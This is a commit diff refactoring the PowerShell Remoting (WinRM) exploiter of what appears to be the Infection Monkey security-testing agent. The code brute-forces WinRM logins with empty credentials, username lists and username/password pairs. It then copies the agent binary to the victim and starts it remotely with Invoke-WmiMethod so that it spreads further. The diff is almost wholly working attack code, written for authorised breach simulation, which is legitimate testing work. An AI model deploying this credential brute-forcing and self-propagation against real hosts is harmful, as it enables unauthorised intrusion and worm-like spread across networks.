agent: Refactor powershell remoting exploiter

This commit is contained in:
Shreya Malviya 2021-08-23 15:35:48 +05:30
parent 29788776fa
commit ee9fde4005
1 changed files with 76 additions and 57 deletions

View File

@ -2,6 +2,7 @@ import logging
import os import os
import typing import typing
import pypsrp
import spnego import spnego
from pypsrp.client import Client from pypsrp.client import Client
from pypsrp.powershell import PowerShell, RunspacePool from pypsrp.powershell import PowerShell, RunspacePool
@ -25,7 +26,6 @@ TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
class PowershellExploiter(HostExploiter): class PowershellExploiter(HostExploiter):
# attack URLs
_TARGET_OS_TYPE = ["windows"] _TARGET_OS_TYPE = ["windows"]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)" _EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
@ -44,92 +44,74 @@ class PowershellExploiter(HostExploiter):
logging.getLogger(package.__name__).setLevel(logging.ERROR) logging.getLogger(package.__name__).setLevel(logging.ERROR)
def _exploit_host(self): def _exploit_host(self):
result = self._attempt_exploitations()
if not result:
return False
arch = self._get_host_arch()
self.is_32bit = arch == WIN_ARCH_32
self._write_virtual_file_to_local_path()
self.monkey_path_on_victim = (
self._config.dropper_target_path_win_32
if self.is_32bit
else self._config.dropper_target_path_win_64
)
is_monkey_copy_successful = self._copy_monkey_binary_on_victim()
if is_monkey_copy_successful:
self._execute_monkey_on_victim()
else:
return False
return True
def _attempt_exploitations(self) -> bool:
try: try:
self.client = self.exploit_without_credentials() self.client = self._exploit_without_credentials()
except FailedExploitationError: except FailedExploitationError:
LOG.info("Failed exploitation without credentials.") LOG.info("Failed exploitation without credentials.")
try: try:
self.client = self.exploit_with_usernames_only( self.client = self._exploit_with_usernames_only(
usernames=self._config.exploit_user_list usernames=self._config.exploit_user_list
) )
except FailedExploitationError: except FailedExploitationError:
LOG.info("Failed exploitation using configured usernames only.") LOG.info("Failed exploitation using configured usernames only.")
try: try:
self.client = self.exploit_with_credentials( self.client = self._exploit_with_credentials(
self._config.get_exploit_user_password_pairs() credential_list=self._config.get_exploit_user_password_pairs()
) )
except FailedExploitationError: except FailedExploitationError:
LOG.info("Failed exploitation using configured credentials. Quitting.") LOG.info("Failed exploitation using configured credentials. Quitting.")
return False return False
arch = self.get_host_arch()
is_32bit = arch == WIN_ARCH_32
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=is_32bit)
# write virtual file to actual local file
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
try:
if arch == WIN_ARCH_32:
monkey_path_on_victim = self._config.dropper_target_path_win_32
else:
monkey_path_on_victim = self._config.dropper_target_path_win_64
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim)
except Exception:
return False
finally:
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
monkey_params = build_monkey_commandline(
target_host=self.host,
depth=get_monkey_depth() - 1,
vulnerable_port=None,
location=monkey_path_on_victim,
)
monkey_execution_command = RUN_MONKEY % {
"monkey_path": monkey_path_on_victim,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
"name", "create"
).add_parameter("ArgumentList", monkey_execution_command)
ps.invoke()
return True return True
def exploit_without_credentials(self) -> Client: def _exploit_without_credentials(self) -> Client:
return self.try_exploit() return self._try_exploit()
def exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client: def _exploit_with_usernames_only(self, usernames: typing.List[str]) -> Client:
for username in usernames: for username in usernames:
try: try:
client = self.try_exploit(username) client = self._try_exploit(username)
return client return client
except FailedExploitationError: except FailedExploitationError:
pass pass
raise FailedExploitationError raise FailedExploitationError
def exploit_with_credentials( def _exploit_with_credentials(
self, credential_list: typing.List[typing.Tuple[str, str]] self, credential_list: typing.List[typing.Tuple[str, str]]
) -> Client: ) -> Client:
for username, password in credential_list: for username, password in credential_list:
try: try:
client = self.try_exploit(username, password) client = self._try_exploit(username, password)
return client return client
except FailedExploitationError: except FailedExploitationError:
pass pass
raise FailedExploitationError raise FailedExploitationError
def try_exploit( def _try_exploit(
self, username: typing.Optional[str] = None, password: typing.Optional[str] = None self, username: typing.Optional[str] = None, password: typing.Optional[str] = None
) -> Client: ) -> Client:
try: try:
@ -145,13 +127,50 @@ class PowershellExploiter(HostExploiter):
except Exception: except Exception:
raise FailedExploitationError raise FailedExploitationError
def get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]: def _get_host_arch(self) -> typing.Union[WIN_ARCH_32, WIN_ARCH_64]:
output = self.execute_cmd_on_host(GET_ARCH_WINDOWS) output = self._execute_cmd_on_host(GET_ARCH_WINDOWS)
if "64-bit" in output: if "64-bit" in output:
return WIN_ARCH_64 return WIN_ARCH_64
else: else:
return WIN_ARCH_32 return WIN_ARCH_32
def execute_cmd_on_host(self, cmd: str) -> str: def _execute_cmd_on_host(self, cmd: str) -> str:
output, _, _ = self.client.execute_cmd(cmd) output, _, _ = self.client.execute_cmd(cmd)
return output return output
def _write_virtual_file_to_local_path(self) -> None:
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
monkey_local_file.write(monkey_virtual_file.read())
def _copy_monkey_binary_on_victim(self) -> bool:
try:
self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, self.monkey_path_on_victim)
return True
except Exception:
return False
finally:
os.remove(TEMP_MONKEY_BINARY_FILEPATH)
def _execute_monkey_on_victim(self) -> None:
monkey_params = build_monkey_commandline(
target_host=self.host,
depth=get_monkey_depth() - 1,
vulnerable_port=None,
location=self.monkey_path_on_victim,
)
monkey_execution_command = RUN_MONKEY % {
"monkey_path": self.monkey_path_on_victim,
"monkey_type": DROPPER_ARG,
"parameters": monkey_params,
}
with self.client.wsman, RunspacePool(self.client.wsman) as pool:
ps = PowerShell(pool)
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
"name", "create"
).add_parameter("ArgumentList", monkey_execution_command)
ps.invoke()